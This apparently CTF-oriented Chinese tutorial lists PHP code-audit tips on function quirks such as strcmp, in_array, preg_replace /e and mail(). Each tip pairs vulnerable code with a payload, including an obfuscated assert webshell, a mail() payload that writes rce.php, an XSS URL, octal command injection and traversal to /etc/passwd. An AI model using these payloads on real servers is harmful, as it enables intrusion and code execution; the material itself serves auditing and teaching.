PHP程式碼審計中的一些Tips
此函式可以被%00截斷
比如下面這個例子,可以使用$b=”%001111”
//%00好像算一個位元組 if(strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("f4l2a3g.txt"); }
2.assert
PHP中的assert可以用來執行PHP函式,進而進行getshell等操作,比如我們利用如下程式碼進行目錄掃描
<?php $poc = "a#s#s#e#r#t"; $poc_1 = explode("#", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5]; $poc_2($_GET['s']) ?>
payloads=print_r(scandir('./'));
3.md5&sha1
PHP中的md5和sha1函式存在兩個問題,第一是他們處理陣列都返回null;第二在弱型別條件下他們會認為如下的返回值相同
QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a sha1(str) sha1('aaroZmOk') sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m')
注意:如果使用了md5並且是強相等,那麼找到資料對應md5相同的值即可,在此給出一組某強網杯使用過的資料
$Param1="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"; $Param2="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"; #008ee33a9d58b51cfeb425b0959121c9
此外我們觀察定義可以得到另外一點,通過設定raw_output引數的值為true,我們可以達到一個\,從而進行sql注入
string md5 ( string $str [, bool $raw_output = false ] ) str 原始字串。 raw_output 如果可選的 raw_output 被設定為 TRUE,那麼 MD5 報文摘要將以16位元組長度的原始二進位制格式返回。
php > var_dump(md5(128,true)); string(16) "v�an���l���q��\"
4.strcmp
注:5.3之前版本的php存在如下問題
當這個函式接受到了不符合的型別,這個函式將發生錯誤並返回0,因而可以使用陣列繞過驗證
<?php $flag = "flag{xxxxx}"; if (isset($_GET['a'])) { if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小於 str2 返回 < 0; 如果 str1大於 str2返回 > 0;如果兩者相等,返回 0。 //比較兩個字串(區分大小寫) die('Flag: '.$flag); else print 'No'; } ?>
5.ereg
ereg()函式只能處理字元,如果傳入陣列將返回null
6.strpos
strpos()的引數不能夠是陣列,所以處理陣列返回的是null
strpos()與PHP的自動型別轉換結合也會出在哪問題
如下:
var_dump(strpos('abcd','a'));# 0 var_dump(strpos('abcd','x'));# false
並且由於PHP的自動型別轉換的關係,0和false是相等的
var_dump(0==false);# true
例題:
class Login { public function __construct($user, $pass) { $this->loginViaXml($user, $pass); } public function loginViaXml($user, $pass) { if ( (!strpos($user, '<') || !strpos($user, '>')) && (!strpos($pass, '<') || !strpos($pass, '>')) ) { $format = '<xml><user="%s"/><pass="%s"/></xml>'; $xml = sprintf($format, $user, $pass); $xmlElement = new SimpleXMLElement($xml); // Perform the actual login. $this->login($xmlElement); } } } new Login($_POST['username'], $_POST['password']);
傳入的username和password的首位字元是<或者是>就可以繞過限制,那麼最後的pyaload就是:
username=<"><injected-tag%20property="&password=<"><injected-tag%20property="
最終傳入到$this->login($xmlElement)的$xmlElement值是<xml><user="<"><injected-tag property=""/><pass="<"><injected-tag property=""/></xml>
這樣就可以進行注入了。
7.is_numeric
is_numeric()函式對於空字元%00,無論是%00放在前後都可以判斷為非數值,而%20空格字元只能放在數值後。
8.ord
ord()函式返回字串的首個字元的 ASCII 值
例如下面這道題目,我們可以用16進位制繞過限制
<?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag{test}'; $one = ord('1'); //ord — 返回字元的 ASCII 碼值 $nine = ord('9'); //ord — 返回字元的 ASCII 碼值 $number = '3735929054'; // Check all the input characters! for ($i = 0; $i < strlen($number); $i++) { // Disallow all the digits! $digit = ord($temp{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { // Aha, digit not allowed! return "flase"; } } if($number == $temp) return $flag; } $temp = $_GET['password']; echo noother_says_correct($temp); ?>
9.科學計數法
strlen($_GET['password']) < 8 && $_GET['password'] > 9999999 payload==>1e9
10.in_array
語法:in_array(search,array,type)
引數 | 描述 |
---|---|
search | 必需。規定要在陣列搜尋的值。 |
array | 必需。規定要搜尋的陣列。 |
type | 可選。如果設定該引數為 true,則檢查搜尋的資料與陣列的值的型別是否相同。 |
注意:in_array()的第三個引數在預設情況下是false,因此 PHP 會嘗試將檔名自動轉換為整數再進行判斷,導致該判斷可被繞過。
例如如下程式碼在13 行存在任意檔案上傳漏洞。 在 12 行程式碼通過in_array()
來判斷檔名是否為整數,可是未將in_array()
的第三個引數設定為 true 。in_array()
的第三個引數在預設情況下是false,因此 PHP 會嘗試將檔名自動轉換為整數再進行判斷,導致該判斷可被繞過。比如使用檔名為 5vulnspy.php 的檔案將可以成功通過in_array($this->file['name'], $this->whitelist)
判斷,從而將惡意的 PHP 檔案上傳到伺服器。
class Challenge { const UPLOAD_DIRECTORY = './solutions/'; private $file; private $whitelist; public function __construct($file) { $this->file = $file; $this->whitelist = range(1, 24); } public function __destruct() { if (in_array($this->file['name'], $this->whitelist)) { move_uploaded_file( $this->file['tmp'], self::UPLOAD_DIRECTORY . $this->file['name'] ); } } } $challenge = new Challenge($_FILES['solution']);
測試
$myarray = range(1,24); in_array('5vulnspy.php',$myarray);//true in_array('5vulnspy.php',$myarray,true);//false
11.filter_var
filter_var()的URL過濾非常的弱,只是單純的從形式上檢測並沒有檢測協議。測試如下:
var_dump(filter_var('vulnspy.com', FILTER_VALIDATE_URL));# false var_dump(filter_var('http://vulnspy.com', FILTER_VALIDATE_URL));# http://vulnspy.com var_dump(filter_var('xxxx://vulnspy.com', FILTER_VALIDATE_URL));# xxxx://vulnspy.com var_dump(filter_var('http://vulnspy.com>', FILTER_VALIDATE_URL));# false
這種情況下可以採用如下payloadjavascript://comment%250aalert(1)
來觸發XSS
注:%250a即%0a表示換行符,上面的payload會被換行,並且//表示註釋。最終觸發後將得到如下形式
javascript://comment alert(1)
12.class_exist
以class_exist()為例的下列函式會在在PHP 5.4以下版本中存在任意檔案包含漏洞
call_user_func() call_user_func_array() class_exists() class_implements() class_parents() class_uses() get_class_methods() get_class_vars() get_parent_class() interface_exists() is_a() is_callable() is_subclass_of() method_exists() property_exists() spl_autoload_call() trait_exists()
注:class_exists()會檢查是否存在對應的類,當呼叫class_exists()函式時會觸發使用者定義的autoload()函式,用於載入找不到的類。所以如果我們輸入../../../../etc/passwd是,就會呼叫class_exists(),這樣就會觸發 autoload(),這樣就是一個任意檔案包含的漏洞了。
此外,還存在一個blind xxe的漏洞,由於存在class_exists(),所以我們可以呼叫PHP的內建函式,並且通過$controller = new $controllerName($data);進行例項化。藉助與PHP中的SimpleXMLElement類來完成XXE攻擊。
xxe漏洞例項參考:
ofollow,noindex">shopware blind xxe
360.cn/learning/detail/3082.html" target="_blank" rel="nofollow,noindex">我是如何黑掉“Pornhub”來尋求樂趣和贏得10000$的獎金
13.mail
mail()中的第五個引數可以-X的方式寫入webshell。
payload:[email protected] -OQueueDirectory=/tmp -X/var/www/html/rce.php
這個PoC的功能是在Web目錄中生成一個PHP webshell。該檔案(rce.php)包含受到PHP程式碼汙染的日誌資訊
escapeshellarg()和filter_var()不安全的問題參考在PHP應用程式開發中不正當使用mail()函式引發的血案
escapeshellarg和escapeshellcmd聯合使用從而造成的安全問題參考PHP escapeshellarg()+escapeshellcmd() 之殤
14.正則表示式可能存在問題
(1)
如本意想將非a-z、.、-、全部替換為空,但是正則表示式寫成了`[^a-z.- ]`,其中沒有對-進行轉義,那麼-表示一個列表,例如[1-9]表示的數字1到9,但是如果[1-9]表示就是字母1、-和9。所以[^a-z.-_]表示的就是非ascii表中的序號為46至122的字母替換為空。那麼此時的../…/就不會被匹配,就可以進行目錄穿越,從而造成任意檔案刪除了。
(2)在反序列化漏洞中對於preg_match('/O:\d:/', $data)
這樣的正則可以採用在物件長度前新增一個+號,即o:14->o:+14來進行繞過。
15.parse_str
parse_str()可以在引數可控的情況下可以造成變數覆蓋漏洞
例如:
$var = parse_url($_SERVER['HTTP_REFERER']); parse_str($var['query']);
16.preg_replace
preg_replace() /e 模式可以執行任意程式碼,例子如下
header("Content-Type: text/plain"); function complexStrtolower($regex, $value) { return preg_replace( '/(' . $regex . ')/ei', 'strtolower("\\1")', $value ); } foreach ($_GET as $regex => $value) { echo complexStrtolower($regex, $value) . "\n"; }
preg_replace的引數含義參考PHP手冊–preg_replace
在此處我們可以看到有兩處的值是我們可以操控的,但是隻有在’strtolower(“\1”)’這個位置的引數才可以執行程式碼,所以關鍵就在這兒。 \1是具有特殊含義的,在這兒就是就是指定第一個子匹配項,也即${phpinfo()},進而達到執行程式碼的目的
參考文章:
17.str_replace
str_replace()函式是單次替換而不是多次替換,因而可以通過雙寫敏感詞彙過濾,例如:
str_replace('../', '', $language); //payload:..././或者....//
18.header
使用header()進行跳轉的時候沒有使用exit()或者是die(),導致後續的程式碼任然可以執行。如果後面存在危險函式,那麼將會觸發漏洞。
例如:
extract($_POST); function goAway() { error_log("Hacking attempt."); header('Location: /error/'); } if (!isset($pi) || !is_numeric($pi)) { goAway(); } if (!assert("(int)$pi == 3")) { echo "This is not pi."; } else { echo "This might be pi."; }
此處就可以POST一個pi=phpinfo()
來藉助assert()函式觸發程式碼執行漏洞
19.intval
intval()函式執行成功時返回 變數的10進位制值,失敗時返回 0。空的 array 返回 0,非空的 array 返回 1。
20.htmlentities
htmlentities預設情況下不會對單引號進行轉義。
21.addslashes
在進行了addslashes之後進行了截斷,在一些情況下就有可能能夠獲得一個引號。
比如:
function sanitizeInput($input, $length = 20) { $input = addslashes($input); if (strlen($input) > $length) { $input = substr($input, 0, $length); } return $input; } $test = "1234567890123456789'"; var_dump(sanitizeInput($test)); //output:1234567890123456789\
此處輸出的剛好是帶有一個\,而’則因為長度限制被截斷,從而可以出發SQL%E6%B3%A8%E5%85%A5/">SQL注入漏洞
22.小特性
(1)php自身在解析請求的時候,如果引數名字中包含空格、.、[這幾個字元,會將他們轉換成_。但是通過$_SERVER['REQUEST_URI']
方式獲得的引數並不會進行轉換。
參考:
(2)PHP中的""
是可以執行程式碼的,因而在payload中常採用"<?php phpinfo();>"
23. ++
PHP中的自增符號++在如下情況中不會有任何意義
$test=123; echo $test++;# 123
因此像下面程式碼所示的一樣,就可能回產生變數覆蓋漏洞
foreach ($input as $field => $count) { $this->$field = $count++; } //這裡的$count++在此並沒有立即對值進行了修改
提示:當然如果++$count形式的話,也是可以存在變數覆蓋的,因為在進行++操作時會進行隱式型別轉換,如果能夠轉換成功,則會進行加法操作;如果不能轉換成功,則將最後一個字元進行加法操作。
示例:
$test = 123; echo ++$test;// 124 $test = '123'; echo ++$test;// 124 $test = '1ab'; echo ++$test;// '1ac' $test = 'ab1'; echo ++$test;// 'ab2' $test = 'a1b'; echo ++$test;// 'a1c' $test =array(2,'name'=>'wyj'); echo ++$test;//Array123 //所以我們構造shell.php4或者shell.pho這樣的,在自增操作後就會變成我們想要的shell.php5或者shell.php
24.openssl_verify
依據openssl_verify()的定義有
如果簽名正確返回 1, 簽名錯誤返回 0, 內部發生錯誤則返回-1.
如果單獨採用如下形式的判斷就會出現問題,因為if判斷只有遇到0或者是false返回的才是false。
if (openssl_verify($data, $signature, $pub)) { $object = json_decode(base64_decode($data)); $this->loginAsUser($object); }
25.stripcslashes
stripcslashes函式
返回反轉義後的字串。可識別類似 C 語言的 \n,\r,… 八進位制以及十六進位制的描述。
var_dump(stripcslashes('0\073\163\154\145\145\160\0405\073'));// 0;sleep 5;
因而對於下面這種形式我們可以採用將命令轉換為八進位制的形式進行繞過正則判斷並觸發命令執行
function createThumbnail() { $e = stripcslashes( preg_replace( '/[^0-9\\\]/', '', isset($_GET['size']) ? $_GET['size'] : '25' ) ); system("/usr/bin/convert {$this->file} --resize $e ./thumbs/{$this->file}"); }
26.set_error_handler
若錯誤配置此函式,將會造成資訊洩露進而造成漏洞產生,比如:
set_error_handler(function ($no, $str, $file, $line) { throw new ErrorException($str, 0, $no, $file, $line); }, E_ALL);
這裡的設定就相當於
error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE);
這種配置將會洩露所有的錯誤資訊
27.declare與array_walk
針對PHP7版本
PHP7中引入了declare(strict_types=1);這種宣告方式,在進行函式呼叫的時候會進行引數型別檢查。如果引數型別不匹配則函式不會被呼叫。
declare(strict_types=1); function addnum(int $a,int $b) { return $a+$b; } $result = addnum(1,2); var_dump($result);// 輸出3 $result = addnum('1','2'); var_dump($result);//出現Fatal error: Uncaught TypeError,Argument 1 passed to addnum() must be of the type integer, string given,程式出錯,引數的資料型別不匹配
但是通過array_walk()呼叫的函式會忽略掉嚴格模式還是按照之前的php的型別轉換的方式呼叫函式。
declare(strict_types=1); function addnum(int &$value) { $value = $value+1; } $input = array('3a','4b'); array_walk($input,addnum); var_dump($input);//array(4,5)
因此利用array_walk()的這種特性,我們可以傳入任意字元進去,進而觸發相應的漏洞。
28.ldap_escape
string ldap_escape ( string $value [, string $ignore [, int $flags ]] )
value
The value to escape.
ignore
Characters to ignore when escaping.
flags
The context the escaped string will be used in: LDAP/">LDAP_ESCAPE_FILTER for filters to be used with ldap_search(), or LDAP_ESCAPE_DN for DNs.
當使用ldap_search()時需要選擇LDAP_ESCAPE_FILTER過濾字串,但是如果選擇LDAP_ESCAPE_DN將會導致過濾無效